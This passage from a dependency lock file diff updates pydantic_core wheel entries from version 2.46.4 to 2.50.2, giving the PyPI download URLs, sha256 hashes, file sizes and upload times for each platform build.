"https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" }, - { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/af/8e/23ec1021834e35041fbb2f10946141e6acdfd39379c45cc4d65a4e8a1d98/pydantic_core-2.50.2.tar.gz", hash = "sha256:1b0e8dc3932cf4e9ed5727570325cacc716b9409ffc794a221c0ccc72e8eb775", size = 518711, upload-time = "2026-10-29T16:34:57.465Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8d/0f/1043d3840b7859cc19abede795e058a785ebc1fa011b022b0a69514dd5c5/pydantic_core-2.50.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:2115d7ca6d58554af8a14da3dd32d361a4fe999fae52f115a6155679b5b00e72", size = 2160886, upload-time = "2026-10-29T16:31:48.009Z" }, + { url = "https://files.pythonhosted.org/packages/d8/95/6211dfe1794bde5ce14f3de2212551196784c67411ac5249d8aa627e3e23/pydantic_core-2.50.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b2dd65864aad38dbcc57c3d0e2c978d4286e063378137d8fc0c9fcd558943285", size = 2115730, upload-time = "2026-10-29T16:31:49.449Z" }, + { url = "https://files.pythonhosted.org/packages/67/42/50a1a9721cfc21d360916754096c90467fa21386ef16875445ea06a4cf6e/pydantic_core-2.50.2-cp311-cp311-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:26b778d4ebb75f181d36220ff0f54a513fc46f053d9b09ce79993c2f00bc45cc", size = 2274234, upload-time = "2026-10-29T16:31:50.668Z" }, + { url = "https://files.pythonhosted.org/packages/69/0b/22349c3114a3b3c400333ba6ec1d2e127fc9a4e4682440d8e23d954df0d1/pydantic_core-2.50.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e80c47314c7233e7105a7efcfffd89d56e479e558189d1959eeeaf2639a27680", size = 2116001, upload-time = "2026-10-29T16:31:51.887Z" }, + { url = "https://files.pythonhosted.org/packages/d8/2e/3b88612239e87cfddd370362e93b18a50d5075883817d6b35e8e3871af75/pydantic_core-2.50.2-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:3bfe12243b3ded517c6734d91f127489e2f51bf95cb533b53130fe360333db80", size = 2204318, upload-time = "2026-10-29T16:31:53.342Z" }, + { url = "https://files.pythonhosted.org/packages/3b/3b/a735bf3967d0fd73b512705d6f80fbe179d3b6208779721e86613cdf736d/pydantic_core-2.50.2-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:01eb0282d0b3a065d55956d1be9ce398c46db3dd6d277a6cb2358c8aa8c53179", size = 2392365, upload-time = "2026-10-29T16:31:54.721Z" }, + { url = "https://files.pythonhosted.org/packages/9d/16/0a0febc06b311d6ca43dd7fa068273d2c4d3c4ad86ac4a6c2f2cbe924c23/pydantic_core-2.50.2-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:196b87b48b2695426920e8470d20f9e99f019ebd86f15808aa018b68086840cd", size = 2443963, upload-time = "2026-10-29T16:31:56.455Z" }, + { url = "https://files.pythonhosted.org/packages/70/7d/22bd04c22adae266ae5e99e4c34bd882daf6c93c35bda2f9674421c1e7c3/pydantic_core-2.50.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:86e7abd24a67f61a4bfe8df059b67a2bdd8bf33705178e98463195d140bd3780", size = 2236349, upload-time = "2026-10-29T16:31:57.837Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c4/77b12031179047a292128eee12cd7aad899d82391157356a581117e232e7/pydantic_core-2.50.2-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:aff31602e8518594e6f6bc670cdb27e37cb7dbeb2d5d0b76a7707b70fe951ddf", size = 2272702, upload-time = "2026-10-29T16:31:59.287Z" }, + { url = "https://files.pythonhosted.org/packages/98/58/41f674077b08b79bf2f2ae3c777a5b7b8758647433c6c621580b612e8c1e/pydantic_core-2.50.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a88851e8e332588cb8cced8b5318d1163c7d0bb87830aa8dcafbc4ae9602b73c", size = 2311296, upload-time = "2026-10-29T16:32:00.722Z" }, + { url = "https://files.pythonhosted.org/packages/61/af/527d1d29cfb8efc7c7f9ed9f35ab5b16a33b1837b186c6e42ecbca699817/pydantic_core-2.50.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:3b1bb3950e0794a795c9344d818d5b476189b0c9c9755e8eb8fde87c3acee17a", size = 2481042, upload-time = "2026-10-29T16:32:02.423Z" }, + { url = "https://files.pythonhosted.org/packages/57/35/79877aaf083424e67c870ba07c0b5ed36a2096a0cfc8b058c1d921797723/pydantic_core-2.50.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:928a44ad1e21a7e923eb924d601605f0694cd187d2ce5d40bf7ad76650f4627d", size = 2488007, upload-time = "2026-10-29T16:32:03.819Z" }, + { url = "https://files.pythonhosted.org/packages/aa/45/5a627e40690c21be388c4abfddaefbf589e359614456156c90432ac0a76a/pydantic_core-2.50.2-cp311-cp311-win32.whl", hash = "sha256:9a87744e683d9a13f60b7fa5242c17f8d283ffa94ad727cb19063b48c3d34960", size = 2121376, upload-time = "2026-10-29T16:32:05.053Z" }, + { url = "https://files.pythonhosted.org/packages/1f/9b/d21478003682505aad9619ff9e086bd29aced2615b23d5315cb37de14cad/pydantic_core-2.50.2-cp311-cp311-win_amd64.whl", hash = "sha256:b958c217c6e56bef261f516e4caf5d490b079ad6a428752afada5a764cca6c71", size = 2238388, upload-time = "2026-10-29T16:32:06.811Z" }, + { url = "https://files.pythonhosted.org/packages/e7/26/670a52ea740fd60f5e0a873b74505714c4bfd04c4344f789310005c4cbbd/pydantic_core-2.50.2-cp311-cp311-win_arm64.whl", hash = "sha256:b0e6a2152706d84f7da8b9d34dcecc7e9bde678af32c40bd5b405f427ae0fbdb", size = 2185763, upload-time = "2026-10-29T16:32:08.441Z" }, + { url = "https://files.pythonhosted.org/packages/d6/65/6609a66cda909d414c58438f9bd70b1e947fe12c25f6bd40c93121afd7ef/pydantic_core-2.50.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e3d824b6152e1c0fd58dc6266f2de470eb7b2286135294f5f7cd26a0f0693738", size = 2220341, upload-time = "2026-10-29T16:32:10.193Z" }, + { url = "https://files.pythonhosted.org/packages/f9/0b/92463ae7be78d73885487f72c4599902c2cc190378bccaad5718b7495250/pydantic_core-2.50.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:596921489390a002d6a5e303384a0f1f98384f8bb550fbf38a1aafa6093da0f9", size = 2093701, upload-time = "2026-10-29T16:32:11.502Z" }, + { url = "https://files.pythonhosted.org/packages/62/d3/24147a1aa22f7eade546172750e1110fd7b2793998057809800d3ebeae4e/pydantic_core-2.50.2-cp312-cp312-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:36d8b9725684ca3bf658b90a101d335fc8cae405bb22196b7b5ef41344913756", size = 2253622, upload-time = "2026-10-29T16:32:13.051Z" }, + { url = "https://files.pythonhosted.org/packages/f6/50/2628ca3c83a0d9a6fda3305fe59b1b28e40c0221e8f234cd1ef86fb64745/pydantic_core-2.50.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:43a8fd56f3c681f3cda2d5c842ad28e88241df742dfcbe8fd1dd437a3056e1f6", size = 2114101, upload-time = "2026-10-29T16:32:14.702Z" }, + { url = "https://files.pythonhosted.org/packages/21/c8/cc6d7304a93f91f5e06260ccad71cc7d882489663a37dec009532379fc46/pydantic_core-2.50.2-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:6f5a432c6c1ef18a1a02a04b3616b8d3f2f88b13faa46caae1ac6559ab202234", size = 2199541, upload-time = "2026-10-29T16:32:16.153Z" }, + { url = "https://files.pythonhosted.org/packages/65/d9/18f44ac5696b3e2b2384cb89c9fbe6ed69860f528e232b9fb46cc5b45a17/pydantic_core-2.50.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5d3cd8be71c4da3c9b42cc92f17e5e3036bdca98bf18555a0e072c3fe87abbb4", size = 2368597, upload-time = "2026-10-29T16:32:17.544Z" }, + { url = "https://files.pythonhosted.org/packages/1d/22/5f2a48ef819a7e1b74fb003a85d27576ad2f9ddf3901b88998ac63ce1e00/pydantic_core-2.50.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a438cb8a3f87f2c49e82e43fb19511d4d5043f53e0787dc4df937ccb904373a", size = 2451701, upload-time = "2026-10-29T16:32:18.956Z" }, + { url = "https://files.pythonhosted.org/packages/08/93/2a6556bbdb8e918175af9d849a5d0b367b5644e41939d040f3a7215b1339/pydantic_core-2.50.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9667637665acba166a7dbbc786f14c50512d3a01f7199e0e1a13b929e92d7c7a", size = 2242782, upload-time = "2026-10-29T16:32:20.381Z" }, + { url = "https://files.pythonhosted.org/packages/90/ed/dd9f29a92257f32eb5b99d5120826186ee0632ecc3aaf6c23e2fab89ed6d/pydantic_core-2.50.2-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:b3e681208e2d39fde13fbea449ef2736a85ec1ea2afa41e9193a8c536e71dafe", size = 2253706, upload-time = "2026-10-29T16:32:22.293Z" }, + { url = "https://files.pythonhosted.org/packages/11/19/1ccf3bf38eb4ed97d8aeefc558458834ae0ad53fdbb1edf61af7228ea500/pydantic_core-2.50.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:6eb6ff07964f39e33c6f57fefe939514e76b8c0d4a694e5663e2e04e80cc1798", size = 2288603, upload-time = "2026-10-29T16:32:23.465Z" }, + { url = "https://files.pythonhosted.org/packages/ea/cd/bae2320fc89a65bcd87bf66ec83aac51b3b43b970a2edece15feb8af64dd/pydantic_core-2.50.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:4eb54c25e3463d73e1e4ed439ffc45d1d7e590df40bc7bb06f11a906afd996c3", size = 2476597, upload-time = "2026-10-29T16:32:24.824Z" }, + { url = "https://files.pythonhosted.org/packages/db/35/1bdb8d52c8e562e95c5e6ebb5784792af568ac6a81470dd546d95f392b60/pydantic_core-2.50.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:91238117cd296352f54f24117ff5a227bdea428865dba1244aa0cdd1424c0bc2", size = 2478664, upload-time = "2026-10-29T16:32:26.197Z" }, + { url = "https://files.pythonhosted.org/packages/12/72/0179b40ac6a6b0899c61826f2e3e80f88063f6d821e0dd9641927de46700/pydantic_core-2.50.2-cp312-cp312-win32.whl", hash = "sha256:98722314e12a8e4fa346e0afd3fff2098b5732875ff45592b450a7b589b43c4f", size = 2108820, upload-time = "2026-10-29T16:32:27.736Z" }, + { url = "https://files.pythonhosted.org/packages/b4/fb/679144362d7e5162519d9f6631ec982521417de3196351c6c56485f5b29f/pydantic_core-2.50.2-cp312-cp312-win_amd64.whl", hash = "sha256:b381574614245f18fdb2d6d1aa8f149e225869c47b5ee7f81812de8977817314", size = 2252238, upload-time = "2026-10-29T16:32:29.572Z" }, + { url = "https://files.pythonhosted.org/packages/0f/68/e3ccc885c3e2086ff84d7ca496f45b974a9f0a49ce2da8973aaa3a369a4b/pydantic_core-2.50.2-cp312-cp312-win_arm64.whl", hash = "sha256:f07c965a8aa6d62145f122641f292129984f39a3e3697585b19298a1488287db", size = 2162565, upload-time = "2026-10-29T16:32:30.853Z" }, + { url = "https://files.pythonhosted.org/packages/c2/fc/ac3ae9d934932ce3c380e7fe53e01372b49ef5dcb49db56f1a1f005b4d8c/pydantic_core-2.50.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:93eb41d626d9a2749a678823c70bba8c25033cef474ae8001fd7621adbbd8437", size = 2222463, upload-time = "2026-10-29T16:32:32.125Z" }, + { url = "https://files.pythonhosted.org/packages/f7/0b/7605223654ed4e777d05668e914d32b476b1fa2bb756bff9820fe270456b/pydantic_core-2.50.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7c539d452cba22f250103c7d1c00cbe9038eb705e657476e701c43374efd9f2e", size = 2093995, upload-time = "2026-10-29T16:32:33.496Z" }, + { url = "https://files.pythonhosted.org/packages/b4/29/4a1a653cfedd3f5e1ccd3b1e919fe324fb45607d12c30fdd7ca5af16ba8d/pydantic_core-2.50.2-cp313-cp313-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:53bd25e8ab54c02bb4c55d4848c1d36f75f3b9a7356e83179fe27794d9e9e6c4", size = 2253178, upload-time = "2026-10-29T16:32:34.77Z" }, + { url = "https://files.pythonhosted.org/packages/6c/f5/03ce5ed01c98b60272cdee8ac1abb819b64ef347717c11d96215e32d9952/pydantic_core-2.50.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f142cd663d1148ed32993ed9a58e5c67ea312f446a01a6c13a956945aafc9f23", size = 2113894, upload-time = "2026-10-29T16:32:39.241Z" }, + { url = "https://files.pythonhosted.org/packages/d3/bc/f7644474ac0faad9a7fdf5179239893b21339169b8b4f89e3075c4be16b2/pydantic_core-2.50.2-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:126f158474346f457c0759c29c1a6334acd5f7f99dd272bb27d19314f3d81b4d", size = 2198248, upload-time = "2026-10-29T16:32:42.357Z" }, + { url = "https://files.pythonhosted.org/packages/c2/8f/3d3a1c1d313e02774f6c034eb1910eb6e795922e66e81f0f053f98afe866/pydantic_core-2.50.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:0b94a515f44f1ebcb25395bcdba506c4cdaf6d3fcb0466b9658521b41e5ff057", size = 2368505, upload-time = "2026-10-29T16:32:43.755Z" }, + { url = "https://files.pythonhosted.org/packages/03/33/38fb4545c00ce2bfebc2a0ffd99f7f580f1e1efb8db3b2faf88def640435/pydantic_core-2.50.2-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a55c1163e829a08707b4a92c8ee02a5a3a3847ced74aa4da94e3e975ffe1ec63", size = 2451704, upload-time = "2026-10-29T16:32:45.075Z" }, + { url = "https://files.pythonhosted.org/packages/79/be/b559a1ceaff8b1d4581733d47d2ffa785635ac05716eae4c964466aac6e8/pydantic_core-2.50.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:31a1fb3ffbd1195b24490f671d12623dd4c9bfa56d6af0a299fa43b516134f5b", size = 2241760, upload-time = "2026-10-29T16:32:46.382Z" }, + { url = "https://files.pythonhosted.org/packages/2d/7c/3c8ab7cb45e4dc7687a4f16a953fee14d2eca18dd90d6be8bd470ef06962/pydantic_core-2.50.2-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:83d6f42ae6eba44548a1a3d4f900a5b1500fdd14f09f04754a8800ab0d544432", size = 2254115, upload-time = "2026-10-29T16:32:47.818Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ad/3f3471206224cdac2af3492a3f7c724c47a82f5f8850ff364c2e36023497/pydantic_core-2.50.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:9fcde11462e0faab4c2a2ae8cd4516f7dd8239eec583bd88c5524d8064ad2d0c", size = 2288598, upload-time = "2026-10-29T16:32:49.404Z" }, + { url = "https://files.pythonhosted.org/packages/a9/1e/2070b388b1d8633cfb72e3964ac3c95aaeb195c240209894ff386847b494/pydantic_core-2.50.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:848984e231190ae49bc8b5229e64d2a6fba4231dc6046e1b6b28ddc060bc7601", size = 2475116, upload-time = "2026-10-29T16:32:51.414Z" }, + { url = "https://files.pythonhosted.org/packages/3d/96/e96ff19527c73b9aaddce2a4424006dc15439fd89ef2d39641048c5ee85a/pydantic_core-2.50.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:8772c2c0091e6fc2d0499151793d31bf811826986b0727052935a95104845544", size = 2478926, upload-time = "2026-10-29T16:32:52.856Z" }, + { url = "https://files.pythonhosted.org/packages/35/10/2fefc082eb46f959e80735e859161305c0c2fbb3d5d20ac5547c49a84a3b/pydantic_core-2.50.2-cp313-cp313-win32.whl", hash = "sha256:bd6ecae08c0d871cf93b6f0d4ee76b06c65be44ea22311981a022b2f1948cf9d", size = 2108354, upload-time = "2026-10-29T16:32:54.276Z" }, + { url = "https://files.pythonhosted.org/packages/6f/dd/14eeec394ec1422f9c4e9743cd746f4502232a7c65eb235d1a03729d94ab/pydantic_core-2.50.2-cp313-cp313-win_amd64.whl", hash = "sha256:e5c801bdf3cc92274b8fc2c7023c8751e5ae81260c009ac558ff55ce712a2d45", size = 2250556, upload-time = "2026-10-29T16:32:55.396Z" }, + { url = "https://files.pythonhosted.org/packages/75/b7/a014acf1ae4b4aa7d32ff957e2250698637daa3a29448444180360b92284/pydantic_core-2.50.2-cp313-cp313-win_arm64.whl", hash = "sha256:fd9aa71a800c87c0f7ab53fa38009169a23a82c685989626ca74a4bd483e1b67", size = 2162633, upload-time = "2026-10-29T16:32:56.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/64/fc525bb981a9f287cfa34346e7ed1d5ef7c043c2b9b517f54c6136032d10/pydantic_core-2.50.2-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:efad0bdc67d3b119c3bab6b94d341a27333c2bb89ed75dfa182a4a06cd0ea329", size = 2226414, upload-time = "2026-10-29T16:32:58.559Z" }, + { url = "https://files.pythonhosted.org/packages/db/68/315701095f25687938ab79d263a6d939337456c2840fe69038fd38000338/pydantic_core-2.50.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6ffb4dce3ecb2cd563aa30f9eb5088a1cf1f4f688b90cbb374fa96e49fc50b02", size = 2095041, upload-time = "2026-10-29T16:32:59.873Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4b/efd3abf31aa24bc97b311735f418886f947b4f193df02a1977643963b03e/pydantic_core-2.50.2-cp314-cp314-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:150f6e101f575c21a4ecfed1be1c05bb89a0ad49cb9c846ed377583bd71b32c2", size = 2257635, upload-time = "2026-10-29T16:33:01.096Z" }, + { url = "https://files.pythonhosted.org/packages/2d/6c/146b36eed4de8115a0fda76840703e75f5f8b36aeb3af86976bf094d1a17/pydantic_core-2.50.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1db9cab6197e797824f0479dd2ae5fd2e272aa61c61b7faa5a6e450ca7a0d3b7", size = 2116807, upload-time = "2026-10-29T16:33:02.692Z" }, + { url = "https://files.pythonhosted.org/packages/fb/94/db006ea79bbe405cc38b25899319c7d461ff1813cbdfe6aa90a65ed1dfff/pydantic_core-2.50.2-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:1b9f652e17a13bbc09b45f74c3c326cca72059ce4dcdef687fcb04389db413a9", size = 2201037, upload-time = "2026-10-29T16:33:03.942Z" }, + { url = "https://files.pythonhosted.org/packages/41/f9/ea2bc1ec13a67af4a63c9a887fa0aa6ef4ade9018e2bb412d4fc80110e19/pydantic_core-2.50.2-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:823b222c4fc861a82c650998a6117ecbd150cc71bf8b78f9a31bf3f48c456108", size = 2374904, upload-time = "2026-10-29T16:33:05.458Z" }, + { url = "https://files.pythonhosted.org/packages/44/8e/26a6a075301f0e563646037ea69bef8c63911d38fbd257f94cec69cdf985/pydantic_core-2.50.2-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:783abdfac21247d33bec40aa683d26bba30d61655c40de38b2decc4797aabf92", size = 2457626, upload-time = "2026-10-29T16:33:07.271Z" }, + { url = "https://files.pythonhosted.org/packages/9d/a2/8eeabaf1d394f0d3b9a27129ac21556eabee6f2ddcb418069ef4037e00b0/pydantic_core-2.50.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b29b7c5adf4b2be7c941f7f76432aa3269cd5052ff8610376b8ece24d7b02c51", size = 2245505, upload-time = "2026-10-29T16:33:08.824Z" }, + { url = "https://files.pythonhosted.org/packages/bd/54/449778cd397e2682b30d1bcfab0872f6ac36702b59cc326296b7f4f14928/pydantic_core-2.50.2-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:4ac996e42a93d80122a23edce44e02c6b9c4913f5c6198a077da31475341a39a", size = 2259563, upload-time = "2026-10-29T16:33:10.107Z" }, + { url = "https://files.pythonhosted.org/packages/26/c2/2f65691d25488ee0f3c17861d079e8ccb7817955522d07cd3c3970d30af5/pydantic_core-2.50.2-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:99e1d482138a71902415ba375bb4627679a5fefd3bd07803c3a8f37632f4981d", size = 2290470, upload-time = "2026-10-29T16:33:11.273Z" }, + { url = "https://files.pythonhosted.org/packages/9f/32/aa7c40234cd24536afa0895ff1d26f9f15638004e25242c5193ce053b96b/pydantic_core-2.50.2-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:a53d5f11cd6d15569ba3e53f3498077f0d5e633f6ec604d2ea613e895017ebee", size = 2477272, upload-time = "2026-10-29T16:33:12.771Z" }, + { url = "https://files.pythonhosted.org/packages/c4/43/c347c68e040cf93d8487a8f4fc28f2768312834c7d21c301538f416f9955/pydantic_core-2.50.2-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:23385c4626f8b5a7792aa381ea573d9432cfbf4c21375a0a5eed2a4fb64e0e58", size = 2484352, upload-time = "2026-10-29T16:33:14.485Z" }, + { url = "https://files.pythonhosted.org/packages/b8/8e/72556126c8b6154fe7acaf757b96b2daa37aeffc3a517deb76e272f5ad09/pydantic_core-2.50.2-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:9a8a62281fd9c6a373b3fd3d473685e6838d43341eecde5f47729748e2c11ee3", size = 1491226, upload-time = "2026-10-29T16:33:15.603Z" }, + { url = "https://files.pythonhosted.org/packages/5b/66/004c85511812964a36b3535af022c5c0dfcb760a31e4905b96310e8dd6c8/pydantic_core-2.50.2-cp314-cp314-win32.whl", hash = "sha256:18f008ef58cd30782f81b6e0119e20b7e884edcefbc2d370162ebe033f6e5c99", size = 2113134, upload-time = "2026-10-29T16:33:16.87Z" }, + { url = "https://files.pythonhosted.org/packages/a3/5f/dcd3df20ab2a7279d42a8415fc184e8e77bcf9aa3c9ac3e938c1300a242c/pydantic_core-2.50.2-cp314-cp314-win_amd64.whl", hash = "sha256:b62c89545d21d930c333208fd548e7b4f262228ba3a322fd75c987a75ab11f31", size = 2253407, upload-time = "2026-10-29T16:33:18.47Z" }, + { url = "https://files.pythonhosted.org/packages/4e/fb/0685895f5d199b215011dc4eb8ccea032a64ec23dfa88eeb5acca939c2d2/pydantic_core-2.50.2-cp314-cp314-win_arm64.whl", hash = "sha256:6e731bf5a5e8e25398544d7709e39068ec4230b0177e4db7fa955692fd415ba3", size = 2160456, upload-time = "2026-10-29T16:33:19.782Z" }, + { url = "https://files.pythonhosted.org/packages/84/2f/4c8f67efe62837a508b74cf910904f73029cb211371351c5ceb36d56e85e/pydantic_core-2.50.2-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:33c6800ab9563adaa0d7893e9cd8f5b972ef1e6a23df70498e05c24f3fcec5e1", size = 2217558, upload-time = "2026-10-29T16:33:21.323Z" }, + { url = "https://files.pythonhosted.org/packages/ce/73/e0ef88cfbcca5409f57751289bc20be63a58af596a36e94b8cd795e59747/pydantic_core-2.50.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f81df206b937d0dca5efb38c25fc99037d82dbcd3740e34c3f81997d2322ac1c", size = 2074335, upload-time = "2026-10-29T16:33:22.658Z" }, + { url = "https://files.pythonhosted.org/packages/7b/cc/47844a3179ebce27064e13619594b3fc1a9b4509d8dec1e3960c5f87f5bb/pydantic_core-2.50.2-cp314-cp314t-manylinux1_i686.manylinux_2_5_i686.whl", hash = "sha256:21ea3b00f1e87c66f3f9e92f9f6fec20495ac0e60d7d2e68ba1fc49739d7cf40", size = 2264201, upload-time = "2026-10-29T16:33:24.953Z" }, + { url = "https://files.pythonhosted.org/packages/bc/d1/30e9d3c86d81884ee3199560ddfa2c1a66a8dc0736441748eae43064abbc/pydantic_core-2.50.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:9eff570402175c7d5fff8497d5a9c05580664a79bb66c07b8f205d17f69e580b", size = 2094353, upload-time = "2026-10-29T16:33:26.739Z" }, + { url = "https://files.pythonhosted.org/packages/d4/8f/392a5999480d0bcab4539db0dafa93265152396fd63e87be4d24e13d6d82/pydantic_core-2.50.2-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.whl", hash = "sha256:240fec32a74af0979f7253532859b3fd209ad5eea822416bb010929dba445c3d", size = 2203119, upload-time = "2026-10-29T16:33:28.154Z" }, + { url = "https://files.pythonhosted.org/packages/cb/80/6e4e276a3fde5500224a39150e06a4f134f136165908be69402720718a36/pydantic_core-2.50.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92acf02c770b9d5c4e9a3e8d64e9d95ae26456a86ebb7b7cf64a97f899e5871b", size = 2392881, upload-time = "2026-10-29T16:33:29.305Z" }, + { url = "https://files.pythonhosted.org/packages/70/d5/5eb56c6317ab4abf33ef9519a50bfac0c96f7f408bad1bc36da6f27d43e4/pydantic_core-2.50.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:1ac5b99bc7b0a68ec64f5f75a6828a7bab5535c8df0cdc07901deb50e0815910", size = 2457290, upload-time = "2026-10-29T16:33:30.587Z" }, + { url = "https://files.pythonhosted.org/packages/7b/9e/f1fe9384bb37e4e728c51c79151808deacf7b2502e245f50b57c85eeb199/pydantic_core-2.50.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:713d7c33c0e231e3786eb0ec95885814dd65d5f3a09754399b6acbf5e9365f11", size = 2241568, upload-time = "2026-10-29T16:33:32.04Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f1/cffc4f8456c35690bcb65a8f2304afbf2f519766345a28aba553d5a55cc8/pydantic_core-2.50.2-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:61e13100b30d8d25fc0d1f0297014b32941bf0975a3584bd08f3adebb68d1ead", size = 2257185, upload-time = "2026-10-29T16:33:33.36Z" }, + { url = "https://files.pythonhosted.org/packages/84/34/ccd4df1cc39cb1e42fb7ec86a0dc0a23e8479de04d3012ca6b0bf2279a03/pydantic_core-2.50.2-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:523fe6574aea50f456cbc301c1cdddcbf237939f7657f9af99b4f0f71942b59c", size = 2299384, upload-time = "2026-10-29T16:33:34.799Z" }, + { url = "https://files.pythonhosted.org/packages/83/60/404b4b0c416a61867ee642cdc1450bca4d8a9a10e5f5f21e1ecaad05fdc8/pydantic_core-2.50.2-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:6c25b8826be85714b27dafe908d3461e1b09e3e31c0279a7029040c832c781ef", size = 2479384, upload-time = "2026-10-29T16:33:36.106Z" }, + { url = "https://files.pythonhosted.org/packages/ca/0d/57c81418a2fdfde0578c71396df773965adebd4421d9985a0f8dcbe9ec4d/pydantic_core-2.50.2-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a59db03b80a156a6fbeae41096866d1cb89cdf31031ba44c768a804538880636", size = 2504616, upload-time = "2026-10-29T16:33:37.423Z" }, + { url = "https://files.pythonhosted.org/packages/08/66/dec78e28a604f3f4985f5a795d4da3e5fef78b0921aeb7f614ed7c780a32/pydantic_core-2.50.2-cp314-cp314t-win32.whl", hash = "sha256:0d090ae76d5b09c003600c7779b3adcf3d1b49268f616c5c51d844e54c8e318d", size = 2093179, upload-time = "2026-10-29T16:33:38.705Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ea/79d9ee60648463804145d44b08f1e7e2474427d9704e3331d814483908b3/pydantic_core-2.50.2-cp314-cp314t-win_amd64.whl", hash = "sha256:9b01a092955c1c7530196ad526755cff4f2d11f37ca9a6fc9ebe37ca49a48977", size = 2220575, upload-time = "2026-10-29T16:33:39.929Z" }, + { url = "https://files.pythonhosted.org/packages/eb/01/aa6a7bd017c3228a41942da4fd788b86fb4aad9677212a4737a0c157fe74/pydantic_core-2.50.2-cp314-cp314t-win_arm64.whl", hash = "sha256:4ea01f30e119f1ec7a2034e85c40f491d469896aef02cd6436fd9292fe1be3fb", size = 2160866, upload-time = "2026-10-29T16:33:41.237Z" }, + { url = 